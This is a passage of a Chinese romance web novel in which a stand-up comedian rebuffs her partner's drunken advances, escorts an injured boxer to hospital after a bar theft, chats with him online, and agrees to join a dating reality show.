“看你们实在聊得很来啊。”他不经意地问起,“我记得你之前说过,你喜欢有虎牙,笑起来有酒窝的男人?啊,还有皮肤白,长相秀气,你要是和他看对眼了,那可怎么办啊……”
“那就结婚,”倪品说,“我向他求婚,跪下来求他跟我好,如果他不同意,你也要跪。”
“……”谈茗不说话了。
“哪来那么多看对眼的,人又不是种马,怎么就能一下子就看对眼了呢?那是大头看对眼了还是小头看对眼了?”倪品辛辣地点评,“再说了,我每天累得要死,谁有精力搞那些?”
“反正你现阶段不谈恋爱就行。”
这回换倪品不说话了。
她害怕。
临山的地方房价最高,谈茗能在梅溪湖一期买湖景房,是他的本事。谈茗并不比她大多少,读北京同一所大学,大她两届,一起创立了【品茗】喜剧厂牌。当时关于谁在前,谁在后,倪品和谈茗争论了好久,但当时倪品的名气更大,就该听她的。现在厂牌里的事多是泰格和云朵在管,自从疫情之后,【品茗】厂牌这两年也很少再吸纳新人了,而是转向幕后投资。
倪品也想在岳麓山买,但暂时没想好买哪里,她也是前不久才打算定居在长沙。来看谈茗的新房,又让她的内心蠢蠢欲动,觉得湖景房真好啊,依山傍水好风景,就是房价实在感人。
“不贵,我这边有渠道,”谈茗说,“如果你想买在我旁边,和我当好邻居,我很欢迎。”
“再说吧……”倪品无奈地抱怨,“话说你不都醒酒了吗?为什么还非要我扶你上楼啊!”
谈茗状作痛苦地“啊”了一声,扶着脑袋,“酒劲反上来了,你是不知道我喝了多少……”
听他扯吧。
把他扶进屋,正对玄关的就是客厅的落地窗的湖景,湖面泛滥着城光,倪品没有开灯,目不转睛地欣赏。谈茗在沙发上醒酒,跟随她的目光,挪到窗外,很快又回到更珍贵的事物上。
“真的很喜欢么?”
倪品说是啊,他就轻描淡写的语气,“想要的话,过户给你,反正我爸在这里还有两套。”
“……神经吧。”
倪品不当一回事。她尽量不把他额外的感情当一回事。她的好搭档,谈茗,认识这么多年,她对他也有太多的了解。就像现在,他其实没在开玩笑,他盯着她的漂亮眼睛,太过认真。
“行了,你酒醒了,我就走了。”
话音未落,她逃离的意图足够仓促,被他捕获。谈茗攥住她的手腕,从背后,他指尖的温度仿佛把她烫伤。倪品有预感,他要有所行动,先于她的抵抗,他埋首在她的颈肩,含混道:
“我的酒还没醒呢。”
“……你别搞那些有的没的。”
他缓慢而坚定地环抱她的肩膀,成熟的气息环绕着,嗓音沙哑,“今晚留在这里过夜么?”
倪品拿起桌上的玻璃杯,泼向他。
杯里的水无情地落在他的脸上,谈茗深呼吸一口气,闭眼,表情却没什么变化,就连嘴角的弧度,也如同钟表走针般精密。他舔了舔唇边的水珠,再睁眼,顽劣而好整以暇地望着她。
“酒醒了没?”倪品问。
“……醒了。”
“行,我走了。”她二话不说就离开,到了门口,突然想起什么,又回到他面前,指着他的鼻尖,“注意分寸。如果你下次再亲我的脸,或者脖子,或者哪里,我不会给你留面子。”
“……知道了。”
砰,略重的关门声,脚步声逐渐远去。谈茗的心思也不在屋内,而是跟着某人离开了。真是有够残忍,她没必要那么对待他,即便她让他停下,他也会乖乖照做。蹲下身,把地板上的水渍擦拭干净,谈茗的心里仍然是湿漉漉的。楼下的车窗,那行他书写的字句已然模糊了。
淌下温冷的水珠。
「La nuit de printemps」
春天之夜。
4. 春风沉醉的夜晚(4)
倪品走出小区,电话打过来。
是梁琼绿。
“大事不妙!”她求妈妈告奶奶,“品儿,你睡了没?现在有空去我酒店拿一下我的包?”
“我正好没睡,我在河西。”倪品深呼吸一口气,听到梁琼绿的声音,让她感觉高兴很多。尽管好友的这个语气肯定是遇上麻烦事了。果然她就说:“我酒吧有人闹事,还有吸的。”
“啊?!”倪品瞬间睡意全无,“你搞什么飞机?人没事吧?你现在在哪儿,派出所吗?”
“嗯,我和……”梁琼绿组织语言,“和俩朋友在这里,唉,我嬲,反正你快些送过来。”
“你赶紧把酒店地址发我。”
湘区派出所。
倪品把梁琼绿的包递给她,大冬天的鼻尖也渗出一层汗:“怎么回事?是green的客人?”
“不是,是隔壁的,一个女客人的包被人偷了,小偷藏到我们店,结果被我朋友逮住了。”
“你朋友没受伤吧?”倪品关切地问。
“不严重,呃……其实是朋友的朋友。”
顺着梁琼绿的目光,倪品看向角落里铁椅上坐着的两个男人。她怔愣住,他们也盯着她瞧。
哇,疯了。
这也太巧了。
“嗨,美女。”陈录山说,“咱们见过的。”
“疯了吧,”倪品再次重复,她诧异地看向梁琼绿,“你说见义勇为的朋友,就是他们?”
“准确的说,是蒋先生,”梁琼绿说,“当时情况特别危急,小偷拿着包躲进卫生间,死活不出来,把里面上厕所的人都吓着了,蒋先生就一个飞踢,踹门进去,把小偷给擒住了。”
“那小偷呢?”
“在里面做笔录。”
倪品抻着脖子去看,隔着一股又干又躁的空气,和蒋听对视上。跨年人挤人,人多的地方就容易出乱子,所以凌晨的派出所也不是完全冷清。周围人声嘈杂,他就窝在无人的角落里。
很困顿,那双明亮的眸子沾染了一点灰尘,还有同仇敌忾的红血丝。但他看着她,双手插在兜里,认真地注视着她,轻微点了点头,就当打招呼。嗨,挺巧的,你也在,是这个意思。
好像……不那么认生了。
倪品也朝他点点头。恬静的,不包含任何急躁的情绪,同周遭也是格格不入,做事有自己的节奏,任何人都没办法影响他,这就是蒋听给人的感觉。他又默默低下头去,戴上运动耳机刷视频,周围的一切和他没有任何关系。也难怪梁琼绿这样自来熟的人都说是朋友的朋友。
梁琼绿嘿嘿一笑,“怎么,都认识啊?”
“蒋听和陈教练都是我访谈室的嘉宾,就今天的访谈,跨年之前在府后街那边才见面呢。”
“啊,那巧了不是,”梁琼绿爽朗地介绍起来,“录山哥是我朋友,经常来店里喝酒的。”
倪品讶异:“陈教练,你是真爱喝啊。”
“那不然呢?你以为我客套呢?我说了要请你喝的……不是,你和琼绿竟然是朋友啊?”
“琼绿是我发小。”倪品亲热地揽住她,“一起上初中,一起上高中,一起去北京打拼!”
“啊,挺好,你是搞脱口秀的,她是搞说唱的,两个圈子本来就隔得很近,都是互通的。”
倪品又问,“你们刚才说吸了那事……”
“笑气,”梁琼绿压低声音,“我们也是到派出所才知道的,本来以为就是来备个案,结果包里搜出来四五个小气罐,现在怀疑这个女客人不仅吸,还贩,就是找不到她人在哪儿。”
“那怎么办呢?”
“和我们又没多大关系,我把身份证给民警核实一下,然后去店里查一下营业执照就行。”梁琼绿头疼得很,“本来今天就忙,巡演之后照例要请嘉宾去酒吧商演啊,我真的是……”
“啊,那你赶紧回去忙。”倪品催促。
“行,那你替我陪蒋先生去医院看一看吧,刚才打斗还挺激烈,也不知道他伤到哪里了。”
“没问题捏。”倪品说。
“爱你,爱你!”梁琼绿极快地在她的脸上亲了一下,骑上她的电动车,在冷风之中点火。
“我想邀请你坐上我的野摩托……”
梁琼绿说:“下次,下次吧!”
倪品回到派出所里,陈录山和蒋听还在听民警训话,大抵是虽然见义勇为,也要在保证自身安全的情况下。反正就是接受了一番教育,核实完了情况会给蒋听送去锦旗,不用,他说。
“家里奖杯、奖牌够多了,摆不下。”
嘿,真装。
但很奇怪的,因为他说得太诚恳,反而让人讨厌不起来,而且就倪品对蒋听职业生涯的了解来看,他说的还真不是假话——有的人假装不在乎,有的人是真无所谓,蒋听显然是后者。
“要,要,怎么不要!你不要我还要呢!”陈录山瞪了他一眼,“这可是有特殊意义的!”
倪品在门口等他们出来,问蒋听需不需要去医院做个检查,蒋听说不用,“但要去诊所。”
“你知道自己哪里受伤了?”
“……这里。”
他偏过头,冰蓝的光落在他的颧骨上,倪品心底一跳,那鲜红的色彩像是颜料,从他的眉骨一路蔓延到削瘦的下巴。创伤在太阳穴的周遭,伤口很窄,又深,这让血不停地往外流淌。
创可贴被血弄湿了,完全。找不到垃圾桶,他干脆就把它捏在手心里。倪品竟然无言以对,他就坐在离大家不过几米远的地方,但是他戴着兜帽,流血的半边脸侧着墙,没有人发觉。
他自己也不说。
好吧,现在他就说了,倪品感觉自己比他还要急躁。带他去医院,是梁琼绿交给她的任务,但她不说倪品也会这么做的。“这个得去医院,”她说,“伤口不知道多深,又在脸上。”
陈录山走过来,也吓一跳:“少爷哦,一个没看住就毁容了,你的保险没有买在脸上喔!”
蒋听:“一开始没想到这么深。”
市第一医院就在附近,只可惜陈录山喝了酒不能开车,蒋听一个伤者还要手握方向盘。他说没问题,倪品也就没说什么了。跟车到医院,蒋听去处理伤口,倪品和陈录山在走廊等着。
陈录山说:“唉,你晚上又是做节目,又是忙这忙那的,搞到快凌晨两点了,你也累吧。”
“还好还好,”倪品没说谎,她真这么觉得,“本来是有点困,搞这么一下反而精神了。”
她看了一眼诊室,“他……”顿了顿,“经常受伤吧,做这一行的话,感觉他都麻木了。”
“不受伤肯定是不可能的。他要真麻木,怎么可能你开玩笑说他饺子耳的时候那么在意?”陈录山想了想,“不过,也不全是因为这个,他两年前打比赛出了意外,耳朵被打坏了。”
“……什么?”倪品愕然。
“就是右耳半聋了啊,这个你不知道吗?好吧,圈外人不清楚也很正常,也就只有他身边的人清楚,就连他粉丝都不知道……蒋听这个人嘛,你也看得出来,从来都是报喜不报忧。”
倪品“嗯”了一声,脸色逐渐惨白,心想,这可不太好,她在访谈上指的就是他的右耳,现在想来有够危险。最先产生的竟然是一股名为“侥幸”的心理,还好,这是没人清楚的事。
可以想到,网友们得知蒋听耳朵上的伤病,次日的文娱板块就会变成【低情商小品演员戳人痛处,为国争光金牌拳手惨遭奚落】【倪品不尊重国家运动员】【倪品请退圈】这些字条。
陈录山察觉到她情绪不对,赶紧解释:“诶,我又说错话了不是,我没那个意思!你当时又不知道,而且大家都跟着笑了,就连我也笑了,没什么的,蒋听不笑是他脑子有问题啊!”
倪品摆手,“没事,我也要再精进精进。”
人家不计较。是的,蒋听是个很大度的人,但是,倪品还是有点过意不去。他当时的脸色,他的言谈、举止,倪品也在一遍遍地回放和复盘,很想承认,今晚发生的一切太戏剧性了。
如果没有在府后街遇见,估计在派出所也不会聊那么多,更别提听到了蒋听的小“秘密”。
现在,秘密的主人已经包扎完
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伤口,朝她走过来,“我搞完了,”他颔首,“可以走了。”
“缝了多少针?”她问。
“没缝针,开了点药。”
那能管用吗?倪品不知道,“我们蒋听皮实着呢!”陈录山把他一揽,笑着问,“是不?”
蒋听没说什么,他只是反复传达“困了”这个意思,希望陈录山能放他回去休息。陈录山说他也就对训练积极一些,其他但凡有点娱乐项目找他,都只是扫兴,人怎么能那么扫兴呢!
倪品插着兜,没怎么说话了,默默地听。临到要分别,她还在想,要不要道个歉呢,算了,感觉已经翻篇了,如果这时候再提起,就会重回当时尴尬的至暗时刻,得不偿失。再说了,道歉也不见得有用,也不见得他对她的印象就好一点。她感觉蒋听就是分不清好赖话的人。
驱车回家。
路上,倪品的心境也发生了一些变化。今晚发生了太多意外的事,很多都让她消化不过来,纯是凭借本能在应付,本来她最应该忧心的是和谈茗的关系,该怎么处理,但她总是想到:
“……这里。”
蒋听说。
然后向她展示了伤口。
导致她目不转睛地盯着他,他青筋浮出的额头,体脂率太低了,皮肤又太薄了,一点伤口就显得很恐怖、狰狞,尤其对于她这种在城市里上班的人,她这种不常见血的人,会震撼到。
每场比赛都要受伤,每天都要受伤,在受伤和即将受伤之间,徘徊。他的耳朵还半聋掉了,可能身上还有其他的暗伤,虽说每个运动员都要习惯和伤痛作伴,但她毕竟是第一次亲临。
完全是不同轨迹的人。
如果不发生交集,就一辈子不会了解到,可能是别的人邀请他采访,而她是那个隔着网线,从旁人之口听闻他的看客,听到有关傲慢或者没情商的字眼,她倒也无动于衷,一笑置之。
但他鲜活地出现在她面前。
展现伤口,但不示弱,是种野兽之间的信任,我受伤了,但没有大碍,你闻到血腥味了吗?那只是因为我流了一点血。没问题,我可以处理的好,你去忙自己的事吧,我能独自应对。
八角笼里有丛林法则,弱肉强食,格外残酷。社会上反而需要足量的人情味,没有同情心,就很难交到朋友,会被说成“凉薄”“冷血”,倪品不想成为那样的人,但她也并不反感。
还有一点,很特别。
本质上,一个不近人情的人,往往比一个讨人喜欢的人,更想让人靠近。她想知道他和别人有什么不同,蒋听,他和熟悉的人待在一块,会不会有反差,会不会愿意说话,愿意笑呢?
“征服”这样的人一定很有乐趣,把他驯化,一点点也行。就像今晚,在短短几个小时里,他从被开水烫伤却装作没事,到现在愿意向她展示伤口,他上完药,第一句话是和她说的。
……也有可能是最后一句话。
对啊,倪品意识到,还真有这个可能。她和这个人以后很难再见面,他一月份还有赛事,很快就不在长沙了。但即便是在一个城市,如果不刻意约见,也很难碰上面。不能指望运气。
想要和人产生交集,就不能只凭借运气,倪品很清楚,等是永远等不来任何机会的。她对他还有一点好奇,说是观察也好,说是欣赏也罢,对她不太热情的人,让她更有了解的冲动。
应该要个他的联系方式。
起码不希望当毫无交集的人。这个金牌拳手今天好不容易对她敞开了一点心扉,他会记得在凌晨一点多的警局门口,他把流血的脸颊展现给一个不熟悉的人看,她陪他包扎过伤口吗?
他很有可能会忘,过个几天就什么都不记得。他不就是这种人么?对身边的人和事完全不在意。但他给她的印象太过深刻,事情不能就这么算了,好,明天就让陈录山把微信推给她。
这么想着,倪品的心情轻快了一些,脚步也是。走过寂静的楼道,到家门口,开门的一瞬。
叮咚。手机短讯提示。
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5. 春风沉醉的夜晚(5)
通过好友申请。
倪品脱掉厚厚的雪地靴,打开客厅的暖气,踩着棉拖鞋走到沙发边,坐下。她好奇地翻看着他的主页,贪婪的,窥私欲得到了极大的满足。她一想到他,他恰好就来加她,心电感应。
用户名:蒋听
签名:工作繁忙,没回复请多发几遍。
朋友圈里的第一条,十一月落幕的格斗之夜,他和许多UFC名人的合影,足足有三十多张,看起来他根本没有挑选照片,也没有p图,一股脑就全部发出来了,配文是:精彩的对决。
这样的朋友圈有十几条,倪品翻得手都累了,她感觉他的朋友圈索然无味,从里面也得不到任何有关他的内容。就在这时,她翻到一条非常简短的动态,没有配图,和赛事也没关系。
生命不息,运动不止。
呃,这是在……
倪品简直没办法理解,她关掉手机屏幕,任由大脑短暂地放空,直到对面发来一条新讯息。
蒋听:今天太麻烦你了,倪老师。
搞这么客气?
倪品:没事,也谢谢你帮了我朋友。
蒋听:不用。举手之劳。
不知道该说什么了。倪品看到对方一直在输入中,但是迟迟没有回复。她决定主动找话说。
倪品:你和陈教练到家了吗?
蒋听:嗯,都到酒店了。
倪品:对哦,你们是住酒店的。你们是什么时候走啊?陈教练还说要请我和琼绿喝一杯呢。
蒋听:今天下午的航班,先去沪城的分部,然后去拉斯维加斯的总部,准备轻重量级的比赛。
倪品:啊,那你行程挺满的。
倪品:你熬到这么晚了,没问题吗?
蒋听:没事,睡到自然醒。陈说请你喝酒只能到二月份,年前他会回长沙,他在这边过年。
倪品:那你不在长沙过年?
蒋听:我是河南人,回周口过年。
倪品:哦哦。
嘶……又不知道该聊什么了。
算了吧,都搞到四点多了,也该洗洗睡了。还好元旦放假,没什么硬性工作要处理,但她在一月下旬到二月中旬有北京的单口和南京的脱口秀,都是三天三场,需要备非常多的稿子。
洗完澡回来,手机里又多了两条短讯。
梁琼绿:到家了没,爱卿?
蒋听:方便问你一个问题吗?
梁琼绿是置顶,先回她的。倪品说已经到家了,蒋听额头受了点伤去包扎,也到家了。梁琼绿说善哉善哉,今日倪相真是立了大功,必有重赏。倪品说她是喝酒喝懵了,喝出皇帝病。
“我真的喝吐啦,小品啊小品,我啊,喝了三斤多的酒啊,品啊,我想你啊,呜呜呜……”
不管梁琼绿了,她那边有男人的声音,虽然不知道是哪个相好,但是肯定会把她照顾好的。她又点开蒋听的聊天框,发现是三十分钟之前发的,都这么晚了,也不知道他现在睡没睡。
倪品:什么问题,你说。
对方正在输入。
蒋听:仍大无脑是什么意思?
“噗!!”倪品一个没忍住,笑得睡意都散了,“不是,你上哪儿看到的?是说你的吗?”
“在《Real Real Talk》的官号下面,有人这样说,我问陈,陈说他也不懂,让我问你。”
唉,这她怎么解释呢?
倪品:意思是你为人处事比较单纯。
蒋听:那说你“自动瞄准”是什么意思?
……不是!!
这都能被发现?倪品要崩溃了。因为访谈室里暖气开得比较大,所以蒋听和陈教练都只穿了略紧身的训练型短袖,偏偏蒋听的身材太好,她也只是多看了两眼,并没有被转移注意力,怎么到网友这里就变成“自动瞄准”了?倪品脸上火辣辣的,呃,又被看穿了吗,可恶……
她灵机一动:“是说我的主持技术非常精湛,能够自动瞄准每一个话题,并且精准接上。”
蒋听:原来是这样,谢谢。
不用谢,倪品在心里想,我也没告诉你正确答案。她感觉这个人太有意思了,并且肯定很有话题度,真想把他写进正在准备的稿子里。她向蒋听提出,他很容易就接受了,叫她请便。
蒋听:那就不打扰倪老师休息了。
倪品:蒋老师也是,早点睡。
关上手机,倪品吐出一口浊气,躺在松软的枕头上。翻了个身,埋在里面,她真不该把他的胸膛比做枕头的,这样的话,不就一沾枕头就联想到了?那她不是每次睡前都能想到蒋听?
转念一想,未必是坏事。
如果想着的不是蒋听,那么就是谈茗了,当然,是犯愁的那种想。即便如此,倪品也不想在睡前合眼之时惦记的是这么一个人。她还纠结一件事,那就是杨导的恋综,去还是不去呢?
……
二月中旬。
倪品忙完了手头的所有事,可以过个好年了。回到长沙,杨导攒了饭局,请她和谈茗一叙,她立刻意识到这是一场鸿门宴,虽说是给她接风洗尘,但没那么简单,她嗅到阴谋的味道。
“考虑得怎么样了?”杨导问,“我跟你说白了,也不藏着掖着,今天就是来要一个答案,你到底是来还是不来。你要来的话,节目表单我就交上去,你要是不来,也有别的人选。”
“谁啊?”倪品还是先打听。
“赞助方塞的一个关系户,我是觉得没什么好请的,和这人聊过,感觉说不出什么好话。”
谈茗说:“是不是最近京圈里哪个?”
“诶,这你也知道啊?”
“也是听说。”谈茗不显山不露水的,倪品还对不上频道,压根不知道是谁。杨导笑说还是你消息灵通,谈茗就说不用请,想都不要想,事多,架子大,而且私生活很乱,靠山不稳。
“诶,你知道那个圈子里的事,那我还想问一下,我这边原定的一个五号女嘉宾,她……”
杨姗说着,把资料卡递给他。
倪品也凑过去,还没看清楚嘉宾们的资料,就听谈茗迟疑地道:“这个人,你慎重吧……”
话音未落,一通电话打到杨姗这里,她接起,聊了没两句,脸色顿时凝重:“这个时候?”
又聊了几句,杨姗说:“还好没到官宣阵容阶段,不然真坏事了,那你再帮我物色物色。”
感觉是私密话题,倪品和谈茗默契地对视一眼,两人一个去卫生间,一个去催菜,一前一后撤出包厢,就只留杨姗和她助理在里边。倪品从卫生间出来,补妆的时候,谈茗站在身后。
“你还没敲定吗?”他问。
“这不是还有人员在调动吗?”倪品用气垫提了提亮,“我当然是要还杨导一个人情的。”
“……北京的那几场单口发挥得挺好的。”
“我?”倪品非常认同他的夸赞,“都从业这么多年,只要一直在演,不可能越来越差吧。你估计有点生疏了,这一年没怎么上台,老虎说你现在有意把重心挪到别的地方,不是?”
“嗯,”谈茗漫不经心地靠着墙。
“你还没消气吗?”
“什么?”倪品平静地望着他。
“那一晚的事。”他用那双漂亮而璀璨的桃花眼,“我喝多了,记不清了,做了些混事。”
“切,大惊小怪,我早就忘了。”
“那就好,”谈茗清浅地笑了笑,“我希望不要有什么事影响我们之间的感情,都一起打拼这么多年了,什么误会都应该及时说清楚。下次我也不会喝那么多了,给你平添了麻烦。”
“你知道就好。”倪品说,“还有,心情不好的话就及时说,和谁说都行,别再犯浑了。”
“嗯,和你说也行?”
“……”倪品不轻不重地看了他一眼。
这些年来,一直有媒体带她和谈茗的节奏,两人早年同台不少,还积攒了一批狂热的cp粉,但倪品心里很清楚,她和谈茗不会谈,也谈不得。自古这些感情事,就要数落到女人头上。
同等咖位的男人和女人谈恋爱,男的就被说成是潜力股,押对了宝,女的就被说成恋爱脑,不专注于事业。大咖男星找普女,配不上我家哥哥,大咖女星找普男,一点都不珍惜羽毛。
倪品知道,有过之而无不及的是:男的裤档子里出事就被眨眼遗忘,丝毫不受影响,女的只要沾染一点花边,事业爱情都全完了,路人缘尽毁,资源掉光光,软封杀是肯定跑不掉的。
多不公平啊。
她会无条件地溺爱犯了同等错误却因性别而遭受到更多苛责的女性,但不代表大众也如此。她很清楚要是她和谈茗的花边爆出来,甭说她愿不愿意接受他的感情了,她倪品就立刻从“新晋小品谐星女王”“如今最有潜力的娱乐媒体人”变成“喜剧演员谈茗的绯闻情人”。
人们就不会聚焦她事业上如何成功,品行上如何可圈可点,而是一说起她,就离不开谈茗。倪品是死也不愿意这样。她迟早要谈恋爱的,但也和谈茗说的很清楚,要谈就只谈圈外的。
“其实我觉得圈里人就应该谈圈外的,这样对大家都好,都需要珍惜名声,别乱嚯嚯了。”
谈茗说,她把事业看得太重了。
他话里话外都表达出这个意思,指责倪品做没必要的“保持距离”的事。就像当时两人cp绑得如火如荼,倪品就会推掉有谈茗在的场次,避免有他同台的综艺,尽量做到他参与这个,她就参与另一个,她只出席他不在场的活动。事实上,只要想避嫌,人总是能想尽办法的。
他不能理解她。一起打拼过来的人,可以同苦,却很难做到共甘。对于谈茗这么个满嘴跑火车的人,他甚至轻描淡写地说:“要是我喜欢的女生想在圈里搞事业,我为她退圈都行。”
随便,那是你的事,你自己做决定,倪品只能这么说。她心里想的却是,他最好别这么做,【品茗】是四人组一路打拼过来的成果、心血,来之不易,如果他拱手让人,她会翻脸的。
她会翻脸的,那是最坏、最差劲的地步,撕破了脸皮,就代表没有转圜的余地了。因为利益分崩
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离析,就和所有现实向电影里的结局一样,是最丑陋的那种。倪品不愿意那样,正是因为不愿意,她才容忍谈茗做了很多快要接近她底线的事。她知道今天这事和他脱不开干系。
但她不能大声地说出来。
回到包厢,两人之间气氛看不出异常,杨导也正好打完电话,“行,我在吃饭,不说了。”
挂了电话,她瞪了一眼谈茗:“你这个乌鸦嘴,早不说晚不说……你怎么不早点告诉我?”
“您也没问啊。”谈茗一摊手。
不可抗力,不可抗力,倪品念叨了几遍。火了快十个年头,临到头了爆出漏税丑闻,也好在没有殃及节目组。杨姗又扶着额头抱怨,“我这个恋综节目搞的,可真是一波三折啊……”
倪品大手一挥:“好事多磨!”
谈茗也跟着说:“否极泰来。”
杨姗即便是再难哄的人,也被这两个年轻人哄笑了,“唉,你们这种靠嘴皮子吃饭的人啊,说起话来就是厉害,一套一套的。好了好了,这份备选名单就给你们,帮我一起过过目。”
主要还是谈茗过目,他现在接触的演艺圈的人比较多,消息面也比较广。倪品还是主攻文化传媒这个板块,属于做的小而精。至于【品茗】厂牌会如何转型,两位创始人还在摸索中。
杨姗问谈茗有没有适合引荐的女恋综嘉宾,或者女观察室嘉宾,反正她都需要。经此一事,她是再也不敢用那些有争议的人,杨姗想的很清楚,自己搞的综艺,还是自己人用着放心。
倪品有一搭没一搭地听着,翻看资料,备选名单旁边是一份已确认的嘉宾名单。杨姗还说:“恋综嘉宾倒是好找,反正有曝光需求的素人网红一大堆,但观察室嘉宾,我主要就是想找二十五岁往上,三十岁以下的未婚女性,最好是有一点婚恋观和知名度的人,总不能……”
“诶!”倪品说,“那我倒是有个人选。”
“谁啊?”杨姗问。
“国内的知名音乐人,梁琼绿。她完全符合你的选择要求啊,而且前年的一档恋综也是邀请了音乐人当飞行嘉宾,效果挺好的。其实很多情感上的东西,音乐人的想法反而更细腻。”
“啊,她是帮那款恋综做了主题曲的音乐人吧?我记得,我还打听过她。”杨姗说,“就是她这两年没怎么接活儿了,我听老鑫说她钱挣够了,现在就不太想露面,自己创业去了。”
“是我发小,你要是觉得可以,我跟她说一声的事。”倪品低头翻阅着已确认的嘉宾名单。
“那感情好,你赶紧替我去问问!”
“行,我晚点就打给她。”
突然,倪品指尖一顿。
——她发现不得了的事。
“你这……”
她指着栏目上第五位男嘉宾的名字,“不可能吧,是我想的那个蒋听吗?是不是打错了?”
“啊,”杨姗笑了起来,“没打错,就是你想的那个蒋听啊,我忘记告诉你了,主要是最近事情太多,又临近年关,手忙脚乱的……哈哈,是挺有意思吧?你知道他怎么报的名吗?”
“他肯定不会亲自来找你,他压根不是那个性格。”倪品由此推测,“他被陈教练整了吧?陈教练恶搞他,或者觉得之前那则访谈没把你人情还清,就把他薅过来参加你的新综艺?”
“不是不是,陈录山哪有那么无聊啊,也不是什么人情不人情,根本和陈没关系,蒋听是从官方渠道填表报的。”杨姗摇了摇头,“你都不知道,当时我看到这名字也觉得看错了。”
“不是……”倪品百思不得其解,但她却一直在笑,“他怎么会想参加恋综,喂!蒋听啊,那可是蒋听,他是不是备赛把心理备出问题了,还是吃补剂吃中毒了,他吃毒蘑菇了吧?”
“唉,谁知道呢?”
杨姗是觉得很荒谬,但没想到倪品能一直一直笑,笑得整个人栽下去。她和谈茗对视一眼,在双方的眼睛里都看到了疑惑,“体育明星去参加恋综不也有先例吗?到底有什么好笑?”
“哇……哇!但那可是蒋听啊!”倪品笑得抹眼泪,“不是,你们压根不能想象啊,蒋听,就这么个人,他和女嘉宾约会能聊什么?他能挤出半句漂亮话吗?他这种人投心动票都没人投给他吧!蒋听就是……爱情小屋每天淘汰一个人,他第二天早上就得拎着行李离开啊!”
杨姗被她这么一说,也忍俊不禁,“那倒也是,不过他自个报的名,谁知道他怎么想的。”
“对啊……”倪品喃喃道,“他到底怎么想的?”
“诶,不聊这有的没的了,你给我推了梁琼绿,意思就是不打算来我这档恋综了是吧?”
“呃……不!”
倪品临时改变了主意。
“谁说我不来了?”
这话一出,不仅是杨姗,谈茗也错愕地望着她,眼神中闪过一丝莫名的色彩。下一秒,倪品兴致昂扬地提议:“你不是正在找恋综女嘉宾吗?我想了一下,确实,恋爱是挺有意思。”
“你该不会……”
“对,我想试一试上恋综。”
6. 春风沉醉的夜晚(6)
“别开这种玩笑了,行么?”
谈茗说。
他漂染过的亚麻棕色眉尾挑了挑,嘴角的弧度略大,显得有些勉强,眼底的愠怒却很真实。这股微妙的、暗流涌动的情绪,只有倪品能体察到。但她偏偏就是最想促成这个结果的人。
“什么玩笑,我是认真的。”她看向杨姗,而对方双眼发亮,明显是惊喜于她的这个提议。
“既然名不见经传的素人来参加恋综都没问题,那我这种自带热度的人,再合适不过吧?”
“……那是恋综。”谈茗的后槽牙咬住,声音都显得尖锐、失真,“人都是去谈恋爱的。”
“什么?我就不能是诚心诚意想拥有一段甜甜的恋爱吗?”倪品一副很吃惊的模样,转而问杨姗,“杨导,你的恋综品质我是放心的,都是优质男嘉宾,应该有和我旗鼓相当的吧?”
“当然,当然!”杨姗求之不得呢,“嘿,说不定正好有和你看对眼的,这下不仅解决了我节目的麻烦事,说不定就连你的单身大事也顺便解决了……当然,你要是看不上再另说!”
“那太好了,”倪品即便压根不对此抱有太多希望,或者说,她目的就不是脱单,但也要说些让人冒火的反话,“我这一年到头工作,只能接触些圈子里的人,我苦圈内男人久矣!”
“啊,我是听你说过,只想找圈外的男生谈。我这边的嘉宾几乎都是圈外的,有搞风投的,有做房地产的,还有一个特别有意思,是做游戏的。反正五花八门,总有你看得顺眼的。”
“乱七八糟的,都是些什么。”谈茗说。
“什么乱七八糟的啊?我看都是一表人材啊!”倪品又想起,“嗯,还有一个打拳的呢!”
谈茗蹙眉:“搞金融的,最乱,搞房地产或者建工的,最脏,做游戏的最老,最秃最丑。”
“哦,”他才想起这个笑话一样的金牌拳手,“还有一个最没情商的蒋听,我都懒得讲。”
杨姗都震惊了,“你今天吃火药了啊?”
倪品反驳的却是:“你别这么说蒋听啊,别个人很好的,在梁琼绿的酒吧里还帮忙逮小偷,那么热心肠的一个人,事后受了伤还一声不吭的。而且他真的很有礼貌,私下人很实诚。”
“怎么,你就知道他很实诚了?”
“比背地里说人坏话是要实诚一点哦。”
“……”他话锋一转,“可在恋综上谈恋爱,倪品,你怎么想的?这种都是剧本、作秀。”
“诶,你俩犟嘴归犟嘴,可别诋毁我啊!”杨姗终于忍不住了,“这是我第一个能自己完全拍板的综艺,我敢在这儿保证,我不会给任何嘉宾安排任何一份剧本,我就有这个底气!”
两人都愣了愣。
“一点剧本也没有?”谈茗说,“但这样不就很容易拍不出观众想看的么?现在大家想看的无非是靓女俊男们谈恋爱,你抢我我抢你的这种修罗场,节目组总得安排一些火药味吧。”
倪品“啧”了一声:“谁说一定要节目组强行制造纷争,才能让节目变得好看?难道年轻人正正常常地去接触、选择,就一定没有看点?与其这么想,不如多在节目本身下点功夫。”
杨姗说:“这点我还是认倪品的。”
谈茗一时被堵住了话茬。
倪品颔首:“行,那就拍板了,我顶之前五号女嘉宾的位置,让梁琼绿来当观察室嘉宾。”
“那我就先把你的档案交上去了啊,节目是年后三月份开始录制,录制时长一个月左右。”
“好,我会空出行程。”
“呃……”杨姗转而看向谈茗,“观察室嘉宾的录制在五月份,主要看片子剪没剪完。”
谈茗说:“嗯,随时通知我。”
一顿饭也吃得差不多了,杨姗去结账,她助理去牵车,倪品和谈茗在大堂外面等。二月初,长沙十来度,第一场雪已经下过了,倒也不冷。倪品穿着一件烟灰色羊绒风衣,插兜放空。
“晚上什么安排?”谈茗在她身边问。
“去梁琼绿那里啊,”倪品说,“要和她说恋综的事,正好陈教练也在,年前喝一杯。”
“陈录山啊?”
“嗯咯。”
“你最近和蒋听走得很近,”谈茗歪了歪脖子,嘎嚓,颈骨摩擦的声响,“是因为他吗?”
“不是,我的人际关系,你怎么那么上心啊?问东问西的,你又是怎么和北京圈子搭上的?你是被谁引荐的?为什么王江青的新电影你能咬下来?这些我都没问你,要我问一问吗?”
“好啊,”他紧盯着她的眼睛,“我当然都愿意和你说,找个安静的地方,好好聊一聊。”
倪品一言不发。
像是知道她在犹豫什么,他微微笑了笑,“你放心,上次纯属意外,我没那么不懂分寸。”
“不是,上次送你回梅溪湖,被狗仔拍到了。”倪品索性告诉他,“要不是我没几分钟就从你家出来,就要让这些人借题发挥了……我觉得上恋综之前还是少点接触,对彼此都好。”
“哪家的?”谈茗问。
“你想做什么?”倪品蹙眉,“人家爱怎么拍是人家的事,只要你行得端坐的直,人家再怎么也编不出花来。再说本来没什么的事,你有意去和对方接触,反而搞得像有什么一样。”
“所以是哪一家的?”
